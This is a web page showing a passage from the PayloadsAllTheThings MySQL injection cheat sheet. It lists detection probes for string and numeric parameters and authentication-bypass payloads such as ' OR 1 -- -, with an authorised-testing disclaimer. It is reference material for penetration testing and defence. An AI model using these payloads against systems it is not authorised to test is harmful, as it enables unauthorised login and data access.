SQL Injection · passage 77 of 186

MySQL Injection: MYSQL Testing Injection

Text · SQL Injection/MySQL Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

* **Strings**: Query like `SELECT * FROM Table WHERE id = 'FUZZ';` ```ps1 ' False '' True " False "" True \ False \\ True ``` * **Numeric**: Query like `SELECT * FROM Table WHERE id = FUZZ;` ```ps1 AND 1 True AND 0 False AND true True AND false False 1-false Returns 1 if vulnerable 1-true Returns 0 if vulnerable 1*56 Returns 56 if vulnerable 1*56 Returns 1 if not vulnerable ``` * **Login**: Query like `SELECT * FROM Users WHERE username = 'FUZZ1' AND password = 'FUZZ2';` ```ps1 ' OR '1 ' OR 1 -- - " OR "" = " " OR 1 = 1 -- - '=' 'LIKE' '=0--+ ```

Every one of the 186 is a mark on the map. Named now: 53 to 78, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP